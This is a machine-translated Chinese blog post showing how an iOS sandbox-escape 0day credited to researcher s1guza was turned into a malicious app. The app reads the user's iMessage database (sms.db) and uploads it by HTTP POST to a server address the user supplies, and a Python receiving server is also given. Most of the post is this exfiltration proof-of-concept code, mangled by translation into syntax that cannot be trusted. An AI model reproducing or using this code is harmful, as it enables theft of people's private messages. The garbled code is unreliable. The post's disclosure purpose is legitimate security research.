用iOS 0day盗取您的短信

2020-05-05 11:18:06

这是一个特别的帖子,因为我完全基于另一位研究人员,s1guza的0day。所有的故事都是从下面的推特开始的:Siguza告诉我们,他的0day在iOS13.5Beta3中打了补丁。因此,对于最新的非测试版iOS(13.4.1)来说,这实际上是一次沙盒逃脱。在这篇文章中,我将向您展示我如何复制该错误并编写恶意应用程序,利用0day窃取iMessage历史记录!😱我不会详细解释此错误,因为S1guza计划撰写一篇关于此错误的文章。当他这样做的时候,我会更新这篇帖子。更新:https://siguza.github.io/psychicpaper/我创建了一个简单的SWIFT应用程序,其中包含以下代码:import SwiftUI struct ContentView:View{@State var serverURLString:String=";";var Body:Some View{vStack(){Text(";";";iMessage DB基于@s1guza';的tweet\n由@_r3ggi&34;";&。).multilineTextAlignment(.center)TextField(";服务器URL";,文本:$serverURLString).PADDING(.all,40).textFieldStyle(RoundedBorderTextFieldStyle())按钮(操作:{sendPostData(serverURLString:self.serverURLString)}){Text(";发送您的sms.db!";)}func sendPostData(serverURLString:String){let messagesPath=";/private/var/mobile/Library/SMS/sms.db";让messagesURL=URL(fileURLWithPath:messagesPath)let serverURL=URL(String:serverURLString)var request=URLRequest(url:serverURL!)。request.httpMethod=";post";do{if filemanager。init().isReadableFile(atPath:messagesPath){let rawMessagesDB=try data(contentsOf:messagesURL)request.httpBody=rawMessagesDB}Else{request.httpBody=";NO";.Data(Using:.utf8)}}catch{}let task=URLSession.shared.dataTask(with:request){(data,response,error。

然后,我编译了应用程序并创建了以下权利文件:我对编译的应用程序进行了签名:下一步是在设备上安装应用程序:之后,我打开了我的Python服务器:从http.server import HTTPServer,BaseHTTPRequestHandler类SimpleHTTPRequestHandler(BaseHTTPRequestHandler):def do_Get(SELF):sel.Send_Response(200)sel.end_headers()self.wfile.write(b';Hello,world!&#;)def do_POST(SELF):Print(&#。)content_length=int(self.headers[';content-length';])body=self.rfile.read(Content_Length)with open(";./sms.db";,";wb";)as f:f.write(Body)httpd=HTTPServer((';192.168.0.14';#39;8888),SimpleHTTPRequestHandler)httpd.serve。

我打开了应用程序:然后,我提供了我的服务器的url,单击了按钮,然后&;mldr🤯!我的iPhone和最新的非测试版iOS的所有信息都被发送到服务器:等待iOS 13.5。在苹果发布更新之前,不要安装任何可疑的应用程序!